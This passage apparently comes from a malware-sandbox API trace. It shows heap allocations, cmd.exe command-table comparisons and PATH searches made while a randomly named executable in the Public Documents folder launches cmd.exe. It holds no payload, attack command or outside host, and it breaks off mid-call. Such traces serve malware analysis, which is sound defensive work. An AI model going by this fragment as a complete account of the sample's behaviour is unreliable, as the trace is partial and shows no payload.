Flags=0x8, Size=0x20) returned 0x5d0ce0 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0d08 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x52) returned 0x5ee0d8 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee138 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee198 [0062.570] GetProcessHeap () returned 0x5d0000 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5ee9d8 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x60) returned 0x5eace8 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0d30 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0d58 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x62) returned 0x5ef140 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee1f8 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee258 [0062.570] GetProcessHeap () returned 0x5d0000 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5ee9f8 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x9a) returned 0x5ef1b0 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0d80 [0062.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0da8 [0062.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x9c) returned 0x5ef258 [0062.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee2b8 [0062.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee318 [0062.571] GetProcessHeap () returned 0x5d0000 [0062.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5eea18 [0062.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x48) returned 0x5ef300 [0062.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0dd0 [0062.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0df8 [0062.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4a) returned 0x5ef350 [0062.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee378 [0062.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee3d8 [0062.571] GetProcessHeap () returned 0x5d0000 [0062.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5eea38 [0062.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x11c) returned 0x5ef3a8 [0062.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0e20 [0062.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0e48 [0062.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x11e) returned 0x5ef4d0 [0062.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee438 [0062.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee498 [0062.572] GetProcessHeap () returned 0x5d0000 [0062.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5eea58 [0062.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x8a) returned 0x5ef5f8 [0062.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0e70 [0062.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0e98 [0062.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x8c) returned 0x5ef690 [0062.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee4f8 [0062.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee558 [0062.572] GetProcessHeap () returned 0x5d0000 [0062.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5eea78 [0062.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3e) returned 0x5ef728 [0062.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0ec0 [0062.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0ee8 [0062.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x40) returned 0x5ef770 [0062.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee5b8 [0062.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee618 [0062.572] GetProcessHeap () returned 0x5d0000 [0062.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5eea98 [0062.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x7c) returned 0x5ef7b8 [0062.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0f10 [0062.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0f38 [0062.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x7e) returned 0x5ef840 [0062.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee678 [0062.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee6d8 [0062.573] GetProcessHeap () returned 0x5d0000 [0062.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5eeab8 [0062.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x56) returned 0x5ee738 [0062.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0f60 [0062.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0f88 [0062.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee798 [0062.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee7f8 [0062.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee858 [0062.589] GetProcessHeap () returned 0x5d0000 [0062.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5eead8 [0062.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xec) returned 0x5f36f8 [0062.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0fb0 [0062.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5f3808 [0062.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xee) returned 0x5f3ff0 [0062.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee8b8 [0062.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5f4100 [0062.590] GetProcessHeap () returned 0x5d0000 [0062.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5eeaf8 [0062.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x54) returned 0x5f4160 [0062.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5f3830 [0062.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5f3858 [0062.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x56) returned 0x5f41c0 [0062.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5f4220 [0062.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5f4280 [0062.590] GetProcessHeap () returned 0x5d0000 [0062.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5eeb18 [0062.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x40) returned 0x5f5100 [0062.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5f3880 [0062.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5f38a8 [0062.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x42) returned 0x5ef8c8 [0062.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5f42e0 [0062.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5f4340 [0062.590] GetProcessHeap () returned 0x5d0000 [0062.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5eeb38 [0062.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x6a) returned 0x5f60e8 [0062.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5f38d0 [0062.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5f38f8 [0062.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x6c) returned 0x5f6160 [0062.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5f43a0 [0062.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5f4400 [0062.591] GetProcessHeap () returned 0x5d0000 [0062.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5eeb58 [0062.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x84) returned 0x5f61d8 [0062.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5f3920 [0062.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5f3948 [0062.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x86) returned 0x5f6268 [0062.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5f4460 [0062.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5f44c0 [0062.591] GetProcessHeap () returned 0x5d0000 [0062.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5eeb78 [0062.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4c) returned 0x5f62f8 [0062.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5f3970 [0062.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5f3998 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4e) returned 0x5f6350 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5f4520 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5f4580 [0062.592] GetProcessHeap () returned 0x5d0000 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5eeb98 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xaa) returned 0x5f63a8 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5f39c0 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5f39e8 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xac) returned 0x5f6460 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5f45e0 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5f4640 [0062.592] GetProcessHeap () returned 0x5d0000 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5eebb8 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb8) returned 0x5f6518 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5f3a10 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5f3a38 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xba) returned 0x5f65d8 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5f46a0 [0062.593] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5f4700 [0062.593] GetProcessHeap () returned 0x5d0000 [0062.593] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5eebd8 [0062.593] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xa2) returned 0x5f66a0 [0062.593] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5f3a60 [0062.593] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5f3a88 [0062.594] GetConsoleTitleW (in: lpConsoleTitle=0x1cf3b4, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.595] GetFileAttributesW (lpFileName="cmd.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\cmd.exe")) returned 0xffffffff [0062.595] _wcsicmp (_String1="cmd", _String2="DIR") returned -1 [0062.595] _wcsicmp (_String1="cmd", _String2="ERASE") returned -2 [0062.595] _wcsicmp (_String1="cmd", _String2="DEL") returned -1 [0062.595] _wcsicmp (_String1="cmd", _String2="TYPE") returned -17 [0062.595] _wcsicmp (_String1="cmd", _String2="COPY") returned -2 [0062.595] _wcsicmp (_String1="cmd", _String2="CD") returned 9 [0062.595] _wcsicmp (_String1="cmd", _String2="CHDIR") returned 5 [0062.595] _wcsicmp (_String1="cmd", _String2="RENAME") returned -15 [0062.595] _wcsicmp (_String1="cmd", _String2="REN") returned -15 [0062.595] _wcsicmp (_String1="cmd", _String2="ECHO") returned -2 [0062.595] _wcsicmp (_String1="cmd", _String2="SET") returned -16 [0062.596] _wcsicmp (_String1="cmd", _String2="PAUSE") returned -13 [0062.596] _wcsicmp (_String1="cmd", _String2="DATE") returned -1 [0062.596] _wcsicmp (_String1="cmd", _String2="TIME") returned -17 [0062.596] _wcsicmp (_String1="cmd", _String2="PROMPT") returned -13 [0062.596] _wcsicmp (_String1="cmd", _String2="MD") returned -10 [0062.596] _wcsicmp (_String1="cmd", _String2="MKDIR") returned -10 [0062.596] _wcsicmp (_String1="cmd", _String2="RD") returned -15 [0062.596] _wcsicmp (_String1="cmd", _String2="RMDIR") returned -15 [0062.596] _wcsicmp (_String1="cmd", _String2="PATH") returned -13 [0062.596] _wcsicmp (_String1="cmd", _String2="GOTO") returned -4 [0062.596] _wcsicmp (_String1="cmd", _String2="SHIFT") returned -16 [0062.596] _wcsicmp (_String1="cmd", _String2="CLS") returned 1 [0062.596] _wcsicmp (_String1="cmd", _String2="CALL") returned 12 [0062.596] _wcsicmp (_String1="cmd", _String2="VERIFY") returned -19 [0062.596] _wcsicmp (_String1="cmd", _String2="VER") returned -19 [0062.596] _wcsicmp (_String1="cmd", _String2="VOL") returned -19 [0062.596] _wcsicmp (_String1="cmd", _String2="EXIT") returned -2 [0062.596] _wcsicmp (_String1="cmd", _String2="SETLOCAL") returned -16 [0062.596] _wcsicmp (_String1="cmd", _String2="ENDLOCAL") returned -2 [0062.596] _wcsicmp (_String1="cmd", _String2="TITLE") returned -17 [0062.596] _wcsicmp (_String1="cmd", _String2="START") returned -16 [0062.596] _wcsicmp (_String1="cmd", _String2="DPATH") returned -1 [0062.596] _wcsicmp (_String1="cmd", _String2="KEYS") returned -8 [0062.596] _wcsicmp (_String1="cmd", _String2="MOVE") returned -10 [0062.596] _wcsicmp (_String1="cmd", _String2="PUSHD") returned -13 [0062.596] _wcsicmp (_String1="cmd", _String2="POPD") returned -13 [0062.597] _wcsicmp (_String1="cmd", _String2="ASSOC") returned 2 [0062.597] _wcsicmp (_String1="cmd", _String2="FTYPE") returned -3 [0062.597] _wcsicmp (_String1="cmd", _String2="BREAK") returned 1 [0062.597] _wcsicmp (_String1="cmd", _String2="COLOR") returned -2 [0062.597] _wcsicmp (_String1="cmd", _String2="MKLINK") returned -10 [0062.597] _wcsicmp (_String1="cmd", _String2="DIR") returned -1 [0062.597] _wcsicmp (_String1="cmd", _String2="ERASE") returned -2 [0062.597] _wcsicmp (_String1="cmd", _String2="DEL") returned -1 [0062.597] _wcsicmp (_String1="cmd", _String2="TYPE") returned -17 [0062.597] _wcsicmp (_String1="cmd", _String2="COPY") returned -2 [0062.597] _wcsicmp (_String1="cmd", _String2="CD") returned 9 [0062.597] _wcsicmp (_String1="cmd", _String2="CHDIR") returned 5 [0062.597] _wcsicmp (_String1="cmd", _String2="RENAME") returned -15 [0062.597] _wcsicmp (_String1="cmd", _String2="REN") returned -15 [0062.597] _wcsicmp (_String1="cmd", _String2="ECHO") returned -2 [0062.597] _wcsicmp (_String1="cmd", _String2="SET") returned -16 [0062.597] _wcsicmp (_String1="cmd", _String2="PAUSE") returned -13 [0062.597] _wcsicmp (_String1="cmd", _String2="DATE") returned -1 [0062.597] _wcsicmp (_String1="cmd", _String2="TIME") returned -17 [0062.597] _wcsicmp (_String1="cmd", _String2="PROMPT") returned -13 [0062.597] _wcsicmp (_String1="cmd", _String2="MD") returned -10 [0062.597] _wcsicmp (_String1="cmd", _String2="MKDIR") returned -10 [0062.597] _wcsicmp (_String1="cmd", _String2="RD") returned -15 [0062.598] _wcsicmp (_String1="cmd", _String2="RMDIR") returned -15 [0062.598] _wcsicmp (_String1="cmd", _String2="PATH") returned -13 [0062.598] _wcsicmp (_String1="cmd", _String2="GOTO") returned -4 [0062.598] _wcsicmp (_String1="cmd", _String2="SHIFT") returned -16 [0062.598] _wcsicmp (_String1="cmd", _String2="CLS") returned 1 [0062.598] _wcsicmp (_String1="cmd", _String2="CALL") returned 12 [0062.598] _wcsicmp (_String1="cmd", _String2="VERIFY") returned -19 [0062.598] _wcsicmp (_String1="cmd", _String2="VER") returned -19 [0062.598] _wcsicmp (_String1="cmd", _String2="VOL") returned -19 [0062.598] _wcsicmp (_String1="cmd", _String2="EXIT") returned -2 [0062.598] _wcsicmp (_String1="cmd", _String2="SETLOCAL") returned -16 [0062.598] _wcsicmp (_String1="cmd", _String2="ENDLOCAL") returned -2 [0062.598] _wcsicmp (_String1="cmd", _String2="TITLE") returned -17 [0062.598] _wcsicmp (_String1="cmd", _String2="START") returned -16 [0062.598] _wcsicmp (_String1="cmd", _String2="DPATH") returned -1 [0062.598] _wcsicmp (_String1="cmd", _String2="KEYS") returned -8 [0062.598] _wcsicmp (_String1="cmd", _String2="MOVE") returned -10 [0062.598] _wcsicmp (_String1="cmd", _String2="PUSHD") returned -13 [0062.598] _wcsicmp (_String1="cmd", _String2="POPD") returned -13 [0062.598] _wcsicmp (_String1="cmd", _String2="ASSOC") returned 2 [0062.598] _wcsicmp (_String1="cmd", _String2="FTYPE") returned -3 [0062.598] _wcsicmp (_String1="cmd", _String2="BREAK") returned 1 [0062.598] _wcsicmp (_String1="cmd", _String2="COLOR") returned -2 [0062.598] _wcsicmp (_String1="cmd", _String2="MKLINK") returned -10 [0062.598] _wcsicmp (_String1="cmd", _String2="FOR") returned -3 [0062.598] _wcsicmp (_String1="cmd", _String2="IF") returned -6 [0062.598] _wcsicmp (_String1="cmd", _String2="REM") returned -15 [0062.599] GetProcessHeap () returned 0x5d0000 [0062.599] GetProcessHeap () returned 0x5d0000 [0062.599] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x600508, lpFilePart=0x1ceed4 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x1ceed4*="Desktop") returned 0x1a [0062.599] SetErrorMode (uMode=0x0) returned 0x1 [0062.600] GetProcessHeap () returned 0x5d0000 [0062.600] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x600500, Size=0x4e) returned 0x600500 [0062.600] GetProcessHeap () returned 0x5d0000 [0062.600] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x600500) returned 0x4e [0062.600] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a700640, nSize=0x2000 | out: lpBuffer="") returned 0xc8 [0062.600] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0062.600] GetProcessHeap () returned 0x5d0000 [0062.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1d4) returned 0x600558 [0062.600] GetProcessHeap () returned 0x5d0000 [0062.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3a0) returned 0x600738 [0062.603] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x600738, Size=0x1d6) returned 0x600738 [0062.603] GetProcessHeap () returned 0x5d0000 [0062.603] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x600738) returned 0x1d6 [0062.603] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a700640, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0062.603] GetProcessHeap () returned 0x5d0000 [0062.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xe0) returned 0x600918 [0062.603] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x600918, Size=0x76) returned 0x600918 [0062.603] GetProcessHeap () returned 0x5d0000 [0062.603] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x600918) returned 0x76 [0062.606] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.606] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\cmd.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\cmd.exe"), fInfoLevelId=0x1, lpFindFileData=0x1cec70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cec70) returned 0xffffffff [0062.606] GetLastError () returned 0x2 [0062.606] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\cmd.exe.*" (normalized: "c:\\users\\keecfmwgj\\desktop\\cmd.exe.*"), fInfoLevelId=0x1, lpFindFileData=0x1cec50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cec50) returned 0xffffffff [0062.607] GetLastError () returned 0x2 [0062.607] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\cmd.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\cmd.exe"), fInfoLevelId=0x1, lpFindFileData=0x1cec50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cec50) returned 0xffffffff [0062.607] GetLastError () returned 0x2 [0062.607] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.607] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\cmd.exe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\cmd.exe"), fInfoLevelId=0x1, lpFindFileData=0x1cec70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cec70) returned 0xffffffff [0062.609] GetLastError () returned 0x2 [0062.609] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\cmd.exe.*" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\cmd.exe.*"), fInfoLevelId=0x1, lpFindFileData=0x1cec50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cec50) returned 0xffffffff [0062.609] GetLastError () returned 0x2 [0062.610] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\cmd.exe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\cmd.exe"), fInfoLevelId=0x1, lpFindFileData=0x1cec50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cec50) returned 0xffffffff [0062.610] GetLastError () returned 0x2 [0062.610] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.610] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe"), fInfoLevelId=0x1, lpFindFileData=0x1cec70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cec70) returned 0x600998 [0062.610] GetProcessHeap () returned 0x5d0000 [0062.610] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x5fc810 [0062.610] FindClose (in: hFindFile=0x600998 | out: hFindFile=0x600998) returned 1 [0062.611] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0062.611] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0062.611] GetConsoleTitleW (in: lpConsoleTitle=0x1cf148, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.611] InitializeProcThreadAttributeList (in: lpAttributeList=0x1cefd0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1cf098 | out: lpAttributeList=0x1cefd0, lpSize=0x1cf098) returned 1 [0062.611] UpdateProcThreadAttribute (in: lpAttributeList=0x1cefd0, dwFlags=0x0, Attribute=0x60001, lpValue=0x1cf090, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1cefd0, lpPreviousValue=0x0) returned 1 [0062.611] GetStartupInfoW (in: lpStartupInfo=0x1cef8c | out: lpStartupInfo=0x1cef8c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x13, lpReserved2=0x5d589e, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0062.611] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fc830 [0062.611] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0062.611] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0062.611] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0062.611] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0062.611] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0062.611] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0062.611] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0062.612] _wcsnicmp (_String1="COPYCMD", 